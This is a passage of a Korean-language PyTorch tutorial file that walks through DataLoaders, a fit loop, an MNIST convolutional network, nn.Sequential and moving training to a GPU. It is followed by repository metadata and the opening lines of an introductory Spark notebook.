\ud569\ub2c8\ub2e4.\n#\n# \ud6c8\ub828 \ub370\uc774\ud130\ub97c \uc11e\ub294(shuffling) \uac83\uc740 \ubc30\uce58\uc640 \uacfc\uc801\ud569 \uc0ac\uc774\uc758 \uc0c1\uad00\uad00\uacc4\ub97c \ubc29\uc9c0\ud558\uae30 \uc704\ud574\n# `\uc911\uc694\ud569\ub2c8\ub2e4. <https://www.quora.com/Does-the-order-of-training-data-matter-when-training-neural-networks>`_\n# \ubc18\uba74\uc5d0, \uac80\uc99d \uc190\uc2e4(validation loss)\uc740 \uac80\uc99d \ub370\uc774\ud130\uc14b\uc744 \uc11e\ub4e0 \uc548\uc11e\ub4e0 \ub3d9\uc77c\ud569\ub2c8\ub2e4.\n# \ub370\uc774\ud130\ub97c \uc11e\ub294 \uac83\uc740 \ucd94\uac00 \uc2dc\uac04\uc774 \uac78\ub9ac\ubbc0\ub85c, \uac80\uc99d \ub370\uc774\ud130\ub97c \uc11e\ub294 \uac83\uc740 \uc758\ubbf8\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.\n#\n# \uac80\uc99d \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud55c \ubc30\uce58 \uc0ac\uc774\uc988\ub294 \ud559\uc2b5 \ub370\uc774\ud130\uc14b \ubc30\uce58 \ud06c\uae30\uc758 2\ubc30\ub97c \uc0ac\uc6a9\ud560 \uac83\uc785\ub2c8\ub2e4.\n# \uc774\ub294 \uac80\uc99d \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud574\uc11c\ub294 \uc5ed\uc804\ud30c(backpropagation)\uac00 \ud544\uc694\ud558\uc9c0 \uc54a\uc73c\ubbc0\ub85c \uba54\ubaa8\ub9ac\ub97c\n# \ub35c \uc0ac\uc6a9\ud558\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4 (\uae30\uc6b8\uae30\ub97c \uc800\uc7a5\ud560 \ud544\uc694\uac00 \uc5c6\uc74c).\n# \ub354 \ud070 \ubc30\uce58 \ud06c\uae30\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc190\uc2e4\uc744 \ub354 \ube68\ub9ac \uacc4\uc0b0\ud558\uae30 \uc704\ud574 \uc774\ub807\uac8c \ud569\ub2c8\ub2e4.\n\ntrain_ds = TensorDataset(x_train, y_train)\ntrain_dl = DataLoader(train_ds, batch_size=bs, shuffle=True)\n\nvalid_ds = TensorDataset(x_valid, y_valid)\nvalid_dl = DataLoader(valid_ds, batch_size=bs * 2)\n\n###############################################################################\n# \uac01 \uc5d0\ud3ec\ud06c\uac00 \ub05d\ub0a0 \ub54c \uac80\uc99d \uc190\uc2e4\uc744 \uacc4\uc0b0\ud558\uace0 \ud504\ub9b0\ud2b8 \ud560 \uac83\uc785\ub2c8\ub2e4.\n#\n# (\ud6c8\ub828 \uc804\uc5d0 \ud56d\uc0c1 ``model.train()`` \uc744 \ud638\ucd9c\ud558\uace0, \ucd94\ub860(inference) \uc804\uc5d0 ``model.eval()``\n# \uc744 \ud638\ucd9c\ud569\ub2c8\ub2e4, \uc774\ub294 ``nn.BatchNorm2d`` \ubc0f ``nn.Dropout`` \uacfc \uac19\uc740 \ub808\uc774\uc5b4\uc5d0\uc11c\n# \uc774\ub7ec\ud55c \ub2e4\ub978 \ub2e8\uacc4(\ud6c8\ub828, \ucd94\ub860) \uc5d0 \ub300\ud55c \uc801\uc808\ud55c \ub3d9\uc791\uc774 \uc77c\uc5b4\ub098\uac8c \ud558\uae30 \uc704\ud568\uc785\ub2c8\ub2e4.)\n\nmodel, opt = get_model()\n\nfor epoch in range(epochs):\n    model.train()\n    for xb, yb in train_dl:\n        pred = model(xb)\n        loss = loss_func(pred, yb)\n\n        loss.backward()\n        opt.step()\n        opt.zero_grad()\n\n    model.eval()\n    with torch.no_grad():\n        valid_loss = sum(loss_func(model(xb), yb) for xb, yb in valid_dl)\n\n    print(epoch, valid_loss / len(valid_dl))\n\n###############################################################################\n# fit() \uc640 get_data() \uc0dd\uc131\ud558\uae30\n# ----------------------------------\n#\n# \uc774\uc81c \uc6b0\ub9ac\ub294 \uc6b0\ub9ac\ub9cc\uc758 \uc791\uc740 \ub9ac\ud329\ud1a0\ub9c1\uc744 \uc218\ud589\ud560 \uac83\uc785\ub2c8\ub2e4.\n# \ud6c8\ub828 \ub370\uc774\ud130\uc14b\uacfc \uac80\uc99d \ub370\uc774\ud130\uc14b \ubaa8\ub450\uc5d0 \ub300\ud55c \uc190\uc2e4\uc744 \uacc4\uc0b0\ud558\ub294 \uc720\uc0ac\ud55c \ud504\ub85c\uc138\uc2a4\ub97c \ub450 \ubc88 \uac70\uce58\ubbc0\ub85c,\n# \uc774\ub97c \ud558\ub098\uc758 \ubc30\uce58\uc5d0 \ub300\ud55c \uc190\uc2e4\uc744 \uacc4\uc0b0\ud558\ub294 \uc790\uccb4 \ud568\uc218 ``loss_batch`` \ub85c \ub9cc\ub4e4\uc5b4\ubcf4\uaca0\uc2b5\ub2c8\ub2e4.\n#\n# \ud6c8\ub828 \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud55c \uc635\ud2f0\ub9c8\uc774\uc800\ub97c \uc804\ub2ec\ud558\uace0 \uc774\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc5ed\uc804\ud30c\ub97c \uc218\ud589\ud569\ub2c8\ub2e4.\n# \uac80\uc99d \ub370\uc774\ud130\uc14b\uc758 \uacbd\uc6b0 \uc635\ud2f0\ub9c8\uc774\uc800\ub97c \uc804\ub35c\ud558\uc9c0 \uc54a\uc73c\ubbc0\ub85c \uba54\uc18c\ub4dc\uac00 \uc5ed\uc804\ud30c\ub97c \uc218\ud589\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n\n\ndef loss_batch(model, loss_func, xb, yb, opt=None):\n    loss = loss_func(model(xb), yb)\n\n    if opt is not None:\n        loss.backward()\n        opt.step()\n        opt.zero_grad()\n\n    return loss.item(), len(xb)\n\n###############################################################################\n# ``fit`` \uc740 \ubaa8\ub378\uc744 \ud6c8\ub828\ud558\uace0 \uac01 \uc5d0\ud3ec\ud06c\uc5d0 \ub300\ud55c \ud6c8\ub828 \ubc0f \uac80\uc99d \uc190\uc2e4\uc744 \uacc4\uc0b0\ud558\ub294 \uc791\uc5c5\uc744 \uc218\ud589\ud569\ub2c8\ub2e4.\n\nimport numpy as np\n\ndef fit(epochs, model, loss_func, opt, train_dl, valid_dl):\n    for epoch in range(epochs):\n        model.train()\n        for xb, yb in train_dl:\n            loss_batch(model, loss_func, xb, yb, opt)\n\n        model.eval()\n        with torch.no_grad():\n            losses, nums = zip(\n                *[loss_batch(model, loss_func, xb, yb) for xb, yb in valid_dl]\n            )\n        val_loss = np.sum(np.multiply(losses, nums)) / np.sum(nums)\n\n        print(epoch, val_loss)\n\n###############################################################################\n# ``get_data`` \ub294 \ud559\uc2b5 \ubc0f \uac80\uc99d \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud55c dataloader \ub97c \ucd9c\ub825\ud569\ub2c8\ub2e4.\n\n\ndef get_data(train_ds, valid_ds, bs):\n    return (\n        DataLoader(train_ds, batch_size=bs, shuffle=True),\n        DataLoader(valid_ds, batch_size=bs * 2),\n    )\n\n###############################################################################\n# \uc774\uc81c dataloader\ub97c \uac00\uc838\uc624\uace0 \ubaa8\ub378\uc744 \ud6c8\ub828\ud558\ub294 \uc804\uccb4 \ud504\ub85c\uc138\uc2a4\ub97c 3 \uc904\uc758 \ucf54\ub4dc\ub85c \uc2e4\ud589\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4:\n\ntrain_dl, valid_dl = get_data(train_ds, valid_ds, bs)\nmodel, opt = get_model()\nfit(epochs, model, loss_func, opt, train_dl, valid_dl)\n\n###############################################################################\n# \uc774\ub7ec\ud55c \uae30\ubcf8 3\uc904\uc758 \ucf54\ub4dc\ub97c \uc0ac\uc6a9\ud558\uc5ec \ub2e4\uc591\ud55c \ubaa8\ub378\uc744 \ud6c8\ub828\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \ucee8\ubcfc\ub8e8\uc158 \uc2e0\uacbd\ub9dd(CNN)\uc744 \ud6c8\ub828\ud558\ub294 \ub370 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294\uc9c0 \uc0b4\ud3b4 \ubcf4\uaca0\uc2b5\ub2c8\ub2e4!\n#\n# CNN \uc73c\ub85c \ub118\uc5b4\uac00\uae30\n# --------------------\n#\n# \uc774\uc81c 3\uac1c\uc758 \ucee8\ubcfc\ub8e8\uc158 \ub808\uc774\uc5b4\ub85c \uc2e0\uacbd\ub9dd\uc744 \uad6c\ucd95\ud560 \uac83\uc785\ub2c8\ub2e4.\n# \uc774\uc804 \uc139\uc158\uc758 \uc5b4\ub5a4 \ud568\uc218\ub3c4 \ubaa8\ub378\uc758 \ud615\uc2dd\uc5d0 \ub300\ud574 \uac00\uc815\ud558\uc9c0 \uc54a\uae30 \ub54c\ubb38\uc5d0,\n# \ubcc4\ub3c4\uc758 \uc218\uc815\uc5c6\uc774 CNN\uc744 \ud559\uc2b5\ud558\ub294 \ub370 \uc0ac\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n#\n# Pytorch \uc758 \uc0ac\uc804\uc815\uc758\ub41c\n# `Conv2d <https://pytorch.org/docs/stable/nn.html#torch.nn.Conv2d>`_ \ud074\ub798\uc2a4\ub97c\n# \ucee8\ubcfc\ub8e8\uc158 \ub808\uc774\uc5b4\ub85c \uc0ac\uc6a9\ud569\ub2c8\ub2e4. 3\uac1c\uc758 \ucee8\ubcfc\ub8e8\uc158 \ub808\uc774\uc5b4\ub85c CNN\uc744 \uc815\uc758\ud569\ub2c8\ub2e4.\n# \uac01 \ucee8\ubcfc\ub8e8\uc158 \ub4a4\uc5d0\ub294 ReLU\uac00 \uc788\uc2b5\ub2c8\ub2e4. \ub9c8\uc9c0\ub9c9\uc73c\ub85c \ud3c9\uade0 \ud480\ub9c1(average pooling)\uc744 \uc218\ud589\ud569\ub2c8\ub2e4.\n# (``view`` \ub294 PyTorch\uc758 numpy ``reshape`` \ubc84\uc804\uc785\ub2c8\ub2e4.)\n\nclass Mnist_CNN(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.conv1 = nn.Conv2d(1, 16, kernel_size=3, stride=2, padding=1)\n        self.conv2 = nn.Conv2d(16, 16, kernel_size=3, stride=2, padding=1)\n        self.conv3 = nn.Conv2d(16, 10, kernel_size=3, stride=2, padding=1)\n\n    def forward(self, xb):\n        xb = xb.view(-1, 1, 28, 28)\n        xb = F.relu(self.conv1(xb))\n        xb = F.relu(self.conv2(xb))\n        xb = F.relu(self.conv3(xb))\n        xb = F.avg_pool2d(xb, 4)\n        return xb.view(-1, xb.size(1))\n\nlr = 0.1\n\n###############################################################################\n# `\ubaa8\uba58\ud140(Momentum) <https://cs231n.github.io/neural-networks-3/#sgd>`_ \uc740\n# \uc774\uc804 \uc5c5\ub370\uc774\ud2b8\ub3c4 \uace0\ub824\ud558\uace0 \uc77c\ubc18\uc801\uc73c\ub85c \ub354 \ube60\ub978 \ud6c8\ub828\uc73c\ub85c \uc774\uc5b4\uc9c0\ub294 \ud655\ub960\uc801 \uacbd\uc0ac\ud558\uac15\ubc95(stochastic gradient descent)\n# \uc758 \ubcc0\ud615\uc785\ub2c8\ub2e4.\n\nmodel = Mnist_CNN()\nopt = optim.SGD(model.parameters(), lr=lr, momentum=0.9)\n\nfit(epochs, model, loss_func, opt, train_dl, valid_dl)\n\n###############################################################################\n# nn.Sequential\n# ------------------------\n#\n# ``torch.nn`` \uc5d0\ub294 \ucf54\ub4dc\ub97c \uac04\ub2e8\ud788 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \ub610 \ub2e4\ub978 \ud3b8\ub9ac\ud55c \ud074\ub798\uc2a4\uc778\n# `Sequential <https://pytorch.org/docs/stable/nn.html#torch.nn.Sequential>`_\n# \uc774 \uc788\uc2b5\ub2c8\ub2e4..\n# ``Sequential`` \uac1d\uccb4\ub294 \uadf8 \uc548\uc5d0 \ud3ec\ud568\ub41c \uac01 \ubaa8\ub4c8\uc744 \uc21c\ucc28\uc801\uc73c\ub85c \uc2e4\ud589\ud569\ub2c8\ub2e4.\n# \uc774\uac83\uc740 \uc6b0\ub9ac\uc758 \uc2e0\uacbd\ub9dd\uc744 \uc791\uc131\ud558\ub294 \ub354 \uac04\ub2e8\ud55c \ubc29\ubc95\uc785\ub2c8\ub2e4.\n#\n# \uc774\ub97c \ud65c\uc6a9\ud558\ub824\uba74 \uc8fc\uc5b4\uc9c4 \ud568\uc218\uc5d0\uc11c **\uc0ac\uc6a9\uc790\uc815\uc758 \ub808\uc774\uc5b4(custom layer)** \ub97c \uc27d\uac8c\n# \uc815\uc758\ud560 \uc218 \uc788\uc5b4\uc57c \ud569\ub2c8\ub2e4.\n# \uc608\ub97c \ub4e4\uc5b4, PyTorch\uc5d0\ub294 `view` \ub808\uc774\uc5b4\uac00 \uc5c6\uc73c\ubbc0\ub85c \uc6b0\ub9ac\uc758 \uc2e0\uacbd\ub9dd \uc6a9\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc57c \ud569\ub2c8\ub2e4.\n# ``Lambda`` \ub294 ``Sequential`` \ub85c \uc2e0\uacbd\ub9dd\uc744 \uc815\uc758\ud560 \ub54c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \ub808\uc774\uc5b4\ub97c \uc0dd\uc131\ud560 \uac83\uc785\ub2c8\ub2e4.\n\nclass Lambda(nn.Module):\n    def __init__(self, func):\n        super().__init__()\n        self.func = func\n\n    def forward(self, x):\n        return self.func(x)\n\n\ndef preprocess(x):\n    return x.view(-1, 1, 28, 28)\n\n###############################################################################\n# ``Sequential`` \ub85c \uc0dd\uc131\ub41c \ubaa8\ub4e4\uc740 \uac04\ub2e8\ud558\uac8c \uc544\ub798\uc640 \uac19\uc2b5\ub2c8\ub2e4:\n\nmodel = nn.Sequential(\n    Lambda(preprocess),\n    nn.Conv2d(1, 16, kernel_size=3, stride=2, padding=1),\n    nn.ReLU(),\n    nn.Conv2d(16, 16, kernel_size=3, stride=2, padding=1),\n    nn.ReLU(),\n    nn.Conv2d(16, 10, kernel_size=3, stride=2, padding=1),\n    nn.ReLU(),\n    nn.AvgPool2d(4),\n    Lambda(lambda x: x.view(x.size(0), -1)),\n)\n\nopt = optim.SGD(model.parameters(), lr=lr, momentum=0.9)\n\nfit(epochs, model, loss_func, opt, train_dl, valid_dl)\n\n###############################################################################\n# DataLoader \uac10\uc2f8\uae30\n# -----------------------------\n#\n# \uc6b0\ub9ac\uc758 CNN\uc740 \uc0c1\ub2f9\ud788 \uac04\uacb0\ud558\uc9c0\ub9cc, MNIST\uc5d0\uc11c\ub9cc \uc791\ub3d9\ud569\ub2c8\ub2e4, \uc65c\ub0d0\ud558\uba74:\n#  - \uc785\ub825\uc774 28\\*28\uc758 \uae34 \ubca1\ud130\ub77c\uace0 \uac00\uc815\ud569\ub2c8\ub2e4.\n#  - \ucd5c\uc885\uc801\uc73c\ub85c CNN \uadf8\ub9ac\ub4dc \ud06c\uae30\ub294 4\\*4 \ub77c\uace0 \uac00\uc815\ud569\ub2c8\ub2e4. (\uc774\uac83\uc740 \uc6b0\ub9ac\uac00 \uc0ac\uc6a9\ud55c \ud3c9\uade0 \ud480\ub9c1 \ucee4\ub110 \ud06c\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.)\n#\n# \uc774 \ub450 \uac00\uc9c0 \uac00\uc815\uc744 \uc81c\uac70\ud558\uc5ec \ubaa8\ub378\uc774 \ubaa8\ub4e0 2d \ub2e8\uc77c \ucc44\ub110(channel) \uc774\ubbf8\uc9c0\uc5d0\uc11c \uc791\ub3d9\ud558\ub3c4\ub85d \ud558\uaca0\uc2b5\ub2c8\ub2e4.\n# \uba3c\uc800 \ucd08\uae30 Lambda \ub808\uc774\uc5b4\ub97c \uc81c\uac70\ud558\uace0 \ub370\uc774\ud130 \uc804\ucc98\ub9ac\ub97c \uc81c\ub124\ub808\uc774\ud130(generator)\ub85c \uc774\ub3d9\uc2dc\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4:\n\ndef preprocess(x, y):\n    return x.view(-1, 1, 28, 28), y\n\n\nclass WrappedDataLoader:\n    def __init__(self, dl, func):\n        self.dl = dl\n        self.func = func\n\n    def __len__(self):\n        return len(self.dl)\n\n    def __iter__(self):\n        batches = iter(self.dl)\n        for b in batches:\n            yield (self.func(*b))\n\ntrain_dl, valid_dl = get_data(train_ds, valid_ds, bs)\ntrain_dl = WrappedDataLoader(train_dl, preprocess)\nvalid_dl = WrappedDataLoader(valid_dl, preprocess)\n\n###############################################################################\n# \ub2e4\uc74c\uc73c\ub85c ``nn.AvgPool2d`` \ub97c ``nn.AdaptiveAvgPool2d`` \ub85c \ub300\uccb4\ud558\uc5ec \uc6b0\ub9ac\uac00 \uac00\uc9c4\n# *\uc785\ub825* \ud150\uc11c\uac00 \uc544\ub2c8\ub77c \uc6d0\ud558\ub294 *\ucd9c\ub825* \ud150\uc11c\uc758 \ud06c\uae30\ub97c \uc815\uc758\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \uacb0\uacfc\uc801\uc73c\ub85c \uc6b0\ub9ac \ubaa8\ub378\uc740 \ubaa8\ub4e0 \ud06c\uae30\uc758 \uc785\ub825\uacfc \ud568\uaed8 \uc791\ub3d9\ud569\ub2c8\ub2e4.\n\nmodel = nn.Sequential(\n    nn.Conv2d(1, 16, kernel_size=3, stride=2, padding=1),\n    nn.ReLU(),\n    nn.Conv2d(16, 16, kernel_size=3, stride=2, padding=1),\n    nn.ReLU(),\n    nn.Conv2d(16, 10, kernel_size=3, stride=2, padding=1),\n    nn.ReLU(),\n    nn.AdaptiveAvgPool2d(1),\n    Lambda(lambda x: x.view(x.size(0), -1)),\n)\n\nopt = optim.SGD(model.parameters(), lr=lr, momentum=0.9)\n\n###############################################################################\n# \ud55c\ubc88 \uc2e4\ud589\ud574 \ubd05\uc2dc\ub2e4:\n\nfit(epochs, model, loss_func, opt, train_dl, valid_dl)\n\n###############################################################################\n# GPU \uc0ac\uc6a9\ud558\uae30\n# ---------------\n#\n# \ub9cc\uc57d \uc5ec\ub7ec\ubd84\ub4e4\uc774 \uc6b4\uc774 \uc88b\uc544\uc11c CUDA \uc9c0\uc6d0 GPU (\ub300\ubd80\ubd84\uc758 \ud074\ub77c\uc6b0\ub4dc \uc81c\uacf5 \uc5c5\uccb4\uc5d0\uc11c\n# \uc2dc\uac04\ub2f9 \uc57d $0.50 \uc5d0 \uc774\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4) \ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4\uba74, \ucf54\ub4dc \uc2e4\ud589 \uc18d\ub3c4\ub97c \ub192\uc77c \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \uba3c\uc800 GPU\uac00 Pytorch\uc5d0\uc11c \uc791\ub3d9\ud558\ub294\uc9c0 \ud655\uc778\ud569\ub2c8\ub2e4:\n\nprint(torch.cuda.is_available())\n\n###############################################################################\n# \uadf8\ub9ac\uace0 \uc774\uc5d0 \ub300\ud55c \ub514\ubc14\uc774\uc2a4 \uc624\ube0c\uc81d\ud2b8\ub97c \uc0dd\uc131\ud569\ub2c8\ub2e4:\n\ndev = torch.device(\n    \"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\n###############################################################################\n# GPU\ub85c \ubc30\uce58\ub97c \uc62e\uae30\ub3c4\ub85d ``preprocess`` \ub97c \uc5c5\ub370\uc774\ud2b8 \ud569\uc2dc\ub2e4:\n\n\ndef preprocess(x, y):\n    return x.view(-1, 1, 28, 28).to(dev), y.to(dev)\n\n\ntrain_dl, valid_dl = get_data(train_ds, valid_ds, bs)\ntrain_dl = WrappedDataLoader(train_dl, preprocess)\nvalid_dl = WrappedDataLoader(valid_dl, preprocess)\n\n###############################################################################\n# \ub9c8\uc9c0\ub9c9\uc73c\ub85c \ubaa8\ub378\uc744 GPU\ub85c \uc774\ub3d9\uc2dc\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\nmodel.to(dev)\nopt = optim.SGD(model.parameters(), lr=lr, momentum=0.9)\n\n###############################################################################\n# \uc774\uc81c \ub354 \ube68\ub9ac \uc2e4\ud589\ub429\ub2c8\ub2e4:\n\nfit(epochs, model, loss_func, opt, train_dl, valid_dl)\n\n###############################################################################\n# \ub9c8\uce58\uba74\uc11c\n# -----------------\n#\n# \uc774\uc81c Pytorch\ub97c \uc0ac\uc6a9\ud558\uc5ec \ub2e4\uc591\ud55c \uc720\ud615\uc758 \ubaa8\ub378\uc744 \ud559\uc2b5\ud558\ub294 \ub370 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \uc77c\ubc18 \ub370\uc774\ud130 \ud30c\uc774\ud504 \ub77c\uc778\uacfc\n# \ud6c8\ub828 \ub8e8\ud504\uac00 \uc788\uc2b5\ub2c8\ub2e4.\n# \uc774\uc81c \ubaa8\ub378 \ud559\uc2b5\uc774 \uc5bc\ub9c8\ub098 \uac04\ub2e8\ud55c\uc9c0 \ud655\uc778\ud558\ub824\uba74 `mnist_sample` \uc0d8\ud50c \ub178\ud2b8\ubd81\uc744 \uc0b4\ud3b4\ubcf4\uc138\uc694.\n#\n# \ubb3c\ub860 \ub370\uc774\ud130 \uc99d\uac15(data augmentation), \ucd08\ub9e4\uac1c\ubcc0\uc218 \uc870\uc815(hyperparameter tuning),\n# \ud6c8\ub828\uacfc\uc815 \ubaa8\ub2c8\ud130\ub9c1(monitoring training), \uc804\uc774 \ud559\uc2b5(transfer learning) \ub4f1\uacfc \uac19\uc774\n# \ucd94\uac00\ud558\uace0 \uc2f6\uc740 \ud56d\ubaa9\ub4e4\uc774 \ub9ce\uc774 \uc788\uc744 \uac83\uc785\ub2c8\ub2e4.\n# \uc774\ub7ec\ud55c \uae30\ub2a5\ub4e4\uc740 \uc774 \ud29c\ud1a0\ub9ac\uc5bc\uc5d0 \ud45c\uc2dc\ub41c \uac83\uacfc \ub3d9\uc77c\ud55c \uc124\uacc4 \uc811\uadfc \ubc29\uc2dd\uc744 \uc0ac\uc6a9\ud558\uc5ec \uac1c\ubc1c\ub41c fastai \ub77c\uc774\ube0c\ub7ec\ub9ac\uc5d0\uc11c\n# \uc0ac\uc6a9\ud560 \uc218 \uc788\uc73c\uba70, \ubaa8\ub378\uc744 \ub354\uc6b1 \ubc1c\uc804\uc2dc\ud0a4\ub824\ub294 \uc2e4\ubb34\uc790\uc5d0\uac8c \uc790\uc5f0\uc2a4\ub7ec\uc6b4 \ub2e4\uc74c \ub2e8\uacc4\ub97c \uc81c\uacf5\ud569\ub2c8\ub2e4.\n#\n# \uc774 \ud29c\ud1a0\ub9ac\uc5bc\uc758 \uc2dc\uc791 \ubd80\ubd84\uc5d0\uc11c ``torch.nn``, ``torch.optim``, ``Dataset``,\n# \uadf8\ub9ac\uace0 ``DataLoader`` \uc758 \uac01 \uc608\uc81c\ub97c \ud1b5\ud574 \uc124\uba85\ud558\uaca0\ub2e4\uace0 \uc774\uc57c\uae30\ud588\uc5c8\uc2b5\ub2c8\ub2e4.\n# \uc774\uc81c \uc704\uc758 \ub0b4\uc6a9\ub4e4\uc744 \uc694\uc57d\ud574\ubcf4\uaca0\uc2b5\ub2c8\ub2e4:\n#\n#  - **torch.nn**\n#\n#    + ``Module``: \ud568\uc218\ucc98\ub7fc \ub3d9\uc791\ud558\uc9c0\ub9cc, \ub610\ud55c \uc0c1\ud0dc(state) (\uc608\ub97c \ub4e4\uc5b4, \uc2e0\uacbd\ub9dd\uc758 \ub808\uc774\uc5b4 \uac00\uc911\uce58)\ub97c\n#      \ud3ec\ud568\ud560 \uc218 \uc788\ub294 \ud638\ucd9c \uac00\ub2a5\ud55c \uc624\ube0c\uc81d\ud2b8\ub97c \uc0dd\uc131\ud569\ub2c8\ub2e4.\n#      \uc774\ub294 \ud3ec\ud568\ub41c ``Parameter`` (\ub4e4)\uac00 \uc5b4\ub5a4 \uac83\uc778\uc9c0 \uc54c\uace0, \ubaa8\ub4e0 \uae30\uc6b8\uae30\ub97c 0\uc73c\ub85c \uc124\uc815\ud558\uace0 \uac00\uc911\uce58\n#      \uc5c5\ub370\uc774\ud2b8 \ub4f1\uc744 \uc704\ud574 \ubc18\ubcf5\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n#    + ``Parameter``: ``Module`` \uc5d0 \uc5ed\uc804\ud30c \ub3d9\uc548 \uc5c5\ub370\uc774\ud2b8\uac00 \ud544\uc694\ud55c \uac00\uc911\uce58\uac00 \uc788\uc74c\uc744 \uc54c\ub824\uc8fc\ub294\n#      \ud150\uc11c\uc6a9 \ub798\ud37c\uc785\ub2c8\ub2e4. `requires_grad` \uc18d\uc131\uc774 \uc124\uc815\ub41c \ud150\uc11c\ub9cc \uc5c5\ub370\uc774\ud2b8 \ub429\ub2c8\ub2e4.\n#    + ``functional``: \ud65c\uc131\ud654 \ud568\uc218, \uc190\uc2e4 \ud568\uc218 \ub4f1\uc744 \ud3ec\ud568\ud558\ub294 \ubaa8\ub4c8 (\uad00\ub840\uc5d0 \ub530\ub77c \uc77c\ubc18\uc801\uc73c\ub85c\n#      ``F`` \ub124\uc784\uc2a4\ud398\uc774\uc2a4\ub85c \uc784\ud3ec\ud2b8 \ub429\ub2c8\ub2e4) \uc774\uace0, \ubb3c\ub860 \ucee8\ubcfc\ub8e8\uc158 \ubc0f \uc120\ud615 \ub808\uc774\uc5b4 \ub4f1\uc5d0 \ub300\ud574\uc11c\n#      \uc0c1\ud0dc\ub97c \uc800\uc7a5\ud558\uc9c0\uc54a\ub294(non-stateful) \ubc84\uc804\uc758 \ub808\uc774\uc5b4\ub97c \ud3ec\ud568\ud569\ub2c8\ub2e4.\n#  - ``torch.optim``: \uc5ed\uc804\ud30c \ub2e8\uacc4\uc5d0\uc11c ``Parameter`` \uc758 \uac00\uc911\uce58\ub97c \uc5c5\ub370\uc774\ud2b8\ud558\ub294,\n#    ``SGD`` \uc640 \uac19\uc740 \uc635\ud2f0\ub9c8\uc774\uc800\ub97c \ud3ec\ud568\ud569\ub2c8\ub2e4.\n#  - ``Dataset``: ``TensorDataset`` \uacfc \uac19\uc774 Pytorch\uc640 \ud568\uaed8 \uc81c\uacf5\ub418\ub294 \ud074\ub798\uc2a4\ub97c \ud3ec\ud568\ud558\uc5ec ``__len__`` \ubc0f\n#    ``__getitem__`` \uc774 \uc788\ub294 \uac1d\uccb4\uc758 \ucd94\uc0c1 \uc778\ud130\ud398\uc774\uc2a4\n#  - ``DataLoader``: \ubaa8\ub4e0 \uc885\ub958\uc758 ``Dataset`` \uc744 \uae30\ubc18\uc73c\ub85c \ub370\uc774\ud130\uc758 \ubc30\uce58\ub4e4\uc744 \ucd9c\ub825\ud558\ub294 \ubc18\ubcf5\uc790(iterator)\ub97c \uc0dd\uc131\ud569\ub2c8\ub2e4.\n", "meta": {"hexsha": "4a5c806d51db8f83cd0c1d9047ea2f4463a7c97e", "size": 28156, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/_downloads/fe5bd3ad8e4d3f194907d09af8bd8299/nn_tutorial.py", "max_stars_repo_name": "junhyung9985/PyTorch-tutorials-kr", "max_stars_repo_head_hexsha": "07c50e5ddfc2f118f01ecbc071a24763f9891171", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/_downloads/fe5bd3ad8e4d3f194907d09af8bd8299/nn_tutorial.py", "max_issues_repo_name": "junhyung9985/PyTorch-tutorials-kr", "max_issues_repo_head_hexsha": "07c50e5ddfc2f118f01ecbc071a24763f9891171", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/_downloads/fe5bd3ad8e4d3f194907d09af8bd8299/nn_tutorial.py", "max_forks_repo_name": "junhyung9985/PyTorch-tutorials-kr", "max_forks_repo_head_hexsha": "07c50e5ddfc2f118f01ecbc071a24763f9891171", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.850678733, "max_line_length": 115, "alphanum_fraction": 0.5480537008, "include": true, "reason": "import numpy", "num_tokens": 11845, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.15002882054202774, "lm_q1q2_score": 0.07325658188649077}}
{"text": "[![AnalyticsDojo](https://github.com/rpi-techfundamentals/spring2019-materials/blob/master/fig/final-logo.png?raw=1)](http://rpi.analyticsdojo.com)\n<center><h1>Introduction to Spark</h1></center>\n<center><h3><a href = 'http://rpi.analyticsdojo.com'>rpi.analyticsdojo.com</a></h3></center>\n\n# Introduction to Spark\nAdopted from work by Steve Phelps:\nhttps://github.com/phelps-sg/python-bigdata \nThis work is licensed under the Creative Commons Attribution 4.0 International license agreement.\n\n\n### Reference\n- [Spark Documentation](http://spark.apache.org/docs/latest/)\n- [Spark Programming Guide](http://spark.apache.org/docs/latest/programming-guide.html)\n- [DataBricks Login](https://community.cloud.databricks.com)\n- [Pyspark](https://github.com/jupyter/docker-stacks)\nTo install pyspark\n\n``` \n   !pip install pyspark\n```\n\n!pip install pyspark\n\n\n### Overview\n- History\n- Data Structures\n- Using Apache Spark with Python\n\n\n## History\n\n- Apache Spark was first released in 2014. \n\n- It was originally 